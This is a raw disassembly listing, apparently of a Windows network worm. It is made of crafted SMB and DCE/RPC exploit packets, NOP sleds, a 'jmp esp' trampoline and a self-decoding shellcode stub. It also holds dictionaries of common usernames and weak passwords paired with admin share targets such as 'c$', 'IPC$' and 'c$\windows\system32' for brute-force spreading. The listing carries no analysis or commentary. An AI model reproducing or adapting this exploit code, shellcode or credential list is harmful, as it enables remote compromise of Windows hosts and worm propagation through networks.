		dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41A7FC	dd 3000005h, 10h, 5 dup(0) ; DATA XREF:	sub_410649+181o
dword_41A818	dd 10005h, 2 dup(0)	; DATA XREF: sub_410649+1ADo
		dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch,	5 dup(0)
		dd 90000h, 300h, 0
		dd 300h, 5C005Ch, 0
dword_41A860	dd 0			; DATA XREF: sub_410649+475o
		dd 2, 0
		dd 1, 91C68h, 1, 2 dup(0)
		dd 0C0h, 46000000h, 2 dup(1), 7
; ---------------------------------------------------------------------------


loc_41A894:				; DATA XREF: sub_410649+153o
		mov	eax, [esp-4]
		add	eax, 0FFFFFAE0h
		jmp	eax
; ---------------------------------------------------------------------------
		align 10h


loc_41A8A0:				; DATA XREF: sub_410649+E5o
		mov	eax, [ebp+30h]
		add	eax, 0FFFFFB24h
		jmp	eax
; ---------------------------------------------------------------------------
		align 4


loc_41A8AC:				; DATA XREF: sub_410649+202o
		jmp	short loc_41A8BE
; ---------------------------------------------------------------------------
		jmp	short loc_41A8C9
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------


loc_41A8B4:				; DATA XREF: sub_410649+2DBo
		jmp	short near ptr word_41A8BA
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 2 dup(0FFh)
word_41A8BA	dw 0			; CODE XREF: MEW:loc_41A8B4j
; ---------------------------------------------------------------------------


loc_41A8BC:				; DATA XREF: sub_410649+330o
		jmp	short near ptr word_41A8C2
; ---------------------------------------------------------------------------


loc_41A8BE:				; CODE XREF: MEW:loc_41A8ACj
					; MEW:loc_41A8DCj
		jmp	short loc_41A8C4
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_41A8C2	dw 0			; CODE XREF: MEW:loc_41A8BCj
; ---------------------------------------------------------------------------


loc_41A8C4:				; CODE XREF: MEW:loc_41A8BEj
					; DATA XREF: sub_410649+385o
		jmp	short near ptr loc_41A8C9+1
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 0FFh
; ---------------------------------------------------------------------------


loc_41A8C9:				; CODE XREF: MEW:0041A8AEj
					; MEW:loc_41A8C4j
		inc	dword ptr [eax]
; ---------------------------------------------------------------------------
		db 0
off_41A8CC	dd offset loc_41005C	; DATA XREF: sub_410649+449o
		dd 2 dup(0)
dword_41A8D8	dd 77F33723h		; DATA XREF: sub_410649+25Ao
; ---------------------------------------------------------------------------


loc_41A8DC:				; DATA XREF: sub_410649+286o
		jmp	short loc_41A8BE
; ---------------------------------------------------------------------------
		dw 7FFDh
; ---------------------------------------------------------------------------


loc_41A8E0:				; DATA XREF: sub_410649+22Eo
		lahf
		jnz	short loc_41A8FB


loc_41A8E3:				; DATA XREF: sub_410649+13Do
		add	[ecx+1Ch], bl


loc_41A8E6:				; CODE XREF: MEW:loc_41A8F0j
		add	[ecx], al


loc_41A8E8:				; DATA XREF: sub_410649+111o
		or	ecx, [ebx]
		sbb	eax, [eax]


loc_41A8EC:				; DATA XREF: sub_410649+127o
		jmp	short near ptr dword_41A8F4
; ---------------------------------------------------------------------------
		align 10h


loc_41A8F0:				; DATA XREF: sub_410649+FBo
		jmp	short loc_41A8E6
; ---------------------------------------------------------------------------
		align 4
dword_41A8F4	dd 85000000h		; CODE XREF: MEW:loc_41A8ECj
; ---------------------------------------------------------------------------
		call	dword ptr [ebx+4Dh]


loc_41A8FB:				; CODE XREF: MEW:0041A8E1j
		inc	edx
		jb	short $+2
; ---------------------------------------------------------------------------
		dw 0
		dd 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 4
		dd 0
		dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
		dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0
		dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
		dd offset loc_401495
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
		dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
		dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 2	dup(0)
; ---------------------------------------------------------------------------
		sub	sp, 71Ch
		jmp	esp
; ---------------------------------------------------------------------------
		align 4
		dd 1004600h, 7515123Ch,	751C123Ch, 42B68ABAh, 42D01E50h
		dd 34000112h, 0
		dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh
		dd 10h,	0
		dd 34EEA51Bh, 0
		dd 12400h, 0
dword_41AF50	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_410B52+62o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_41AFDC	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+A2o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_41B088	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+E2o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_41B168	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+13Co
		dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_41B1A8	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+179o
		dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h,	0
dword_41B20C	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+1B9o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41B2B0	dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+216o
		dd 3900800h, 3C1D0800h,	1C000010h, 0E0040003h, 0FFh, 2 dup(0)
		dd 1C004A00h, 2004A03h,	2600h, 5C032340h, 45504950h, 5005Ch
		dd 100300h, 31C0000h, 0
		dd 3040000h, 0
		dd 4221001Fh, 184E8h, 0
		dd 10000h, 0
		dd 1630000h, 0
		dd 1630000h, 0
dword_41B338	dd 0			; DATA XREF: sub_410B52+2C7o
		dd 0D7h, 1, 0
		dd 1, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(0)
dword_41B35C	dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+348o
		dd 1C80800h, 7CC90800h,	80000010h, 0E0040004h, 0FFh, 2 dup(0)
		dd 80004A00h, 2004A04h,	2600h, 5C048740h, 45504950h, 5005Ch
		dd 100300h, 4800000h, 0
		dd 4680000h, 0
		dd 72B3001Fh, 1A381h, 0
		dd 10000h, 0
		dd 2150000h, 0
		dd 2150000h, 0
dword_41B3E4	dd 0			; DATA XREF: sub_410B52+3DEo
		dd 85h,	2, 0
		dd 2, 2EBh, 85h, 2 dup(0)
dword_41B408	dd 20804h, 0		; DATA XREF: sub_410B52+285o
					; sub_410B52+29Bo ...
dword_41B410	dd 2080Ah, 0		; DATA XREF: sub_410B52+26Fo
		dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_1:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_2:
		unicode	0, <Windows 2000 5.0>,0
		align 4
		dd 0
		dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch
		dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
		dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 300800h,	5A00FF04h, 1000800h, 2F00h, 0
		dd 3F3F0000h, 3F3F3Fh, 0
		dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
		dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h,	0
		dd 2019Fh, 4 dup(0)
		dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h,	720065h
		dd 0
		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 500800h, 48000010h, 0
		dd 10h,	2 dup(0)
		dd 48005400h, 2005400h,	2600h, 5940h, 50005Ch, 500049h
		dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h
		dd 0
		dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		align 10h
		jmp	short loc_41B84A
; ---------------------------------------------------------------------------
		align 4
		dd 767A1567h
; ---------------------------------------------------------------------------
		jmp	short loc_41B852
; ---------------------------------------------------------------------------


loc_41B84A:				; CODE XREF: MEW:0041B840j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah


loc_41B852:				; CODE XREF: MEW:0041B848j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 9090767Ah
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_41B8A1
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 48h
		dd 9088444Fh
		db 90h
; ---------------------------------------------------------------------------


loc_41B8A1:				; CODE XREF: MEW:0041B897j
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		dd 0
		dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		db 8 dup(90h)
; ---------------------------------------------------------------------------
		jmp	short loc_41B97E
; ---------------------------------------------------------------------------
		align 4
		dd 767A1567h
; ---------------------------------------------------------------------------
		jmp	short loc_41B986
; ---------------------------------------------------------------------------


loc_41B97E:				; CODE XREF: MEW:0041B974j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah


loc_41B986:				; CODE XREF: MEW:0041B97Cj
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		jns	short near ptr word_41B9F6
		add	[ecx], eax
		jmp	short loc_41B9C6
; ---------------------------------------------------------------------------
		align 10h
		dd 767A1567h
		db 2 dup(90h)
; ---------------------------------------------------------------------------


loc_41B9C6:				; CODE XREF: MEW:0041B9BCj
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_41B9D5
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 48h
		dd 9088444Fh
		db 90h
; ---------------------------------------------------------------------------


loc_41B9D5:				; CODE XREF: MEW:0041B9CBj
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		dd 0
		dd 7E0h, 4, 0
		db 2 dup(0)
word_41B9F6	dw 0			; CODE XREF: MEW:0041B9B8j
		dd 0D0EC8166h, 7, 129F74h, 0
		dd 127D78h, 0
; ---------------------------------------------------------------------------
		pusha
		jmp	short loc_41BA16

; =============== S U B	R O U T	I N E =======================================



sub_41BA13	proc near		; CODE XREF: MEW:loc_41BA16p
		pop	ebx
		push	ebx
		retn
sub_41BA13	endp

; ---------------------------------------------------------------------------


loc_41BA16:				; CODE XREF: MEW:0041BA11j
		call	sub_41BA13
		xor	eax, eax
		add	al, 34h
		add	eax, ebx
		push	eax
		pop	ebx


loc_41BA23:				; CODE XREF: MEW:0041BA4Cj
		xor	edx, edx
		add	dl, [eax]
		inc	eax
		add	dh, [eax]
		inc	eax
		push	eax
		xor	eax, eax
		add	al, 41h
		sub	dl, al
		sub	dh, al
		shl	dl, 4
		shr	dx, 4
		xor	eax, eax
		xor	dh, dh
		add	al, [ebx]
		sub	[ebx], al
		add	[ebx], dx
		inc	ebx
		pop	eax
		xor	ecx, ecx
		add	cl, [eax]
		loopne	loc_41BA23
		popa
		add	[ebx+31h], al
		mov	ebp, 7FC77h
		add	[ecx], al
		inc	ebx


loc_41BA5A:				; CODE XREF: MEW:0041BA5Cj
		xor	eax, eax
		ja	short loc_41BA5A
		pop	es
; ---------------------------------------------------------------------------
		db 0
		dd 4F020100h, 7E7655Bh,	0
		dd 195h, 30B0005h, 10h,	48h, 1,	16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
byte_41BB00	db 90h			; DATA XREF: sub_410F60+35r
					; sub_410F60+73r ...
dword_41BB01	dd 0			; DATA XREF: sub_410F60+A3r
		db 9Eh,	2 dup(0)
		dd 0F50000h, 0F8000000h, 0
		dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h
		dd 1400000h, 41000000h,	4, 842h, 24300h, 40450000h, 46000000h
		dd 10h,	2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h
		dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h
		dd 9, 393h, 419500h, 11960000h,	97000000h, 21h,	999h, 0
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aComputer	; "computer"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOemuser	; "oemuser"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
; ---------------------------------------------------------------------------
		clc
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------
		adc	ah, al
		inc	ecx
		add	al, dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, al
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-4FFFBE3Dh], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-3Ch], al
		inc	ecx
		add	[eax-5FFFBE3Dh], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8-3C73FFBFh], dl
		inc	ecx
		add	[eax-7FFFBE3Dh], cl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8+41h], dh
		add	[ebx+eax*8+41h], ch
		add	[ebx+eax*8+41h], ah
		add	[eax-3Dh], ah
		inc	ecx
		add	[ebx+eax*8+41h], bl
		add	[ebx+eax*8+41h], dl
		add	[eax-3Dh], dl
		inc	ecx
		add	[eax-3Dh], cl
		inc	ecx
		add	[eax-3Dh], al
		inc	ecx
		add	[eax], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8], dl
		inc	ecx
		add	[esp+eax*8+41h], dh
		add	[eax], cl
		retn
; ---------------------------------------------------------------------------
		dw 41h
		dd offset aStudent	; "student"
; ---------------------------------------------------------------------------
		clc
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
		dd offset aC		; "c$"
		dd offset aD		; "d$"
; ---------------------------------------------------------------------------
		fadd	st(2), st
		inc	ecx
		add	al, dl
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aDShared	; "d$\\shared"
; ---------------------------------------------------------------------------
		mov	eax, 0AC0041C2h
		retn	41h
; ---------------------------------------------------------------------------
		mov	al, ds:8C0041C2h
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aCWindowsSystem ; "c$\\windows\\system32"
; ---------------------------------------------------------------------------
		push	600041C2h
		retn	41h
; ---------------------------------------------------------------------------
		xor	dl, al
		inc	ecx
		add	[eax], ch
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aIpc		; "IPC$"
		dd 0
		dd offset byte_41DE00
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
; ---------------------------------------------------------------------------
		aam	0C4h
		inc	ecx
		add	al, cl
		les	eax, [ecx+0]
		rol	ah, 41h
		add	[eax-4BFFBE3Ch], bh
		les	eax, [ecx+0]
		sbb	al, 0C2h
		inc	ecx
		add	[eax], bl
		retn	41h
; ---------------------------------------------------------------------------
		adc	al, 0C2h
		inc	ecx
		add	[eax], cl
		retn	41h
; ---------------------------------------------------------------------------
		cld
		rol	dword ptr [ecx+0], 0F4h
		rol	dword ptr [ecx+0], 0F0h
		rol	dword ptr [ecx+0], 0E4h
		rol	dword ptr [ecx+0], 0DCh
		rol	dword ptr [ecx+0], 0D8h
		rol	dword ptr [ecx+0], 0D4h
		rol	dword ptr [ecx+0], 0D0h
		rol	dword ptr [ecx+0], 0CCh
		rol	dword ptr [ecx+0], 0C8h
		rol	dword ptr [ecx+0], 0C0h
		rol	dword ptr [ecx+0], 0B8h
		rol	dword ptr [ecx+0], 0B0h
		rol	dword ptr [ecx+0], 0A8h
		rol	dword ptr [ecx+0], 9Ch
		rol	dword ptr [ecx+0], 90h
		rol	dword ptr [ecx+0], 84h
		rol	dword ptr [ecx+0], 7Ch
		rol	dword ptr [ecx+0], 70h
		rol	dword ptr [ecx+0], 68h
		rol	dword ptr [ecx+0], 60h
		rol	dword ptr [ecx+0], 50h
		xchg	eax, edx
		inc	ecx
		add	[eax-3Fh], bl
		inc	ecx
		add	[eax+44004198h], dl
		xchg	eax, edx
		inc	ecx
		add	[eax-3Fh], dl
		inc	ecx
		add	[eax-3Fh], cl
		inc	ecx
		add	[eax-3Fh], al
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		dw 41h
		dd offset aDemo		; "demo"
		dd offset aComputer	; "computer"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aNull		; "null"
		dd offset aTemp		; "temp"
		dd offset aTemp123	; "temp123"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aSex		; "sex"
		dd offset aLetmein	; "letmein"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
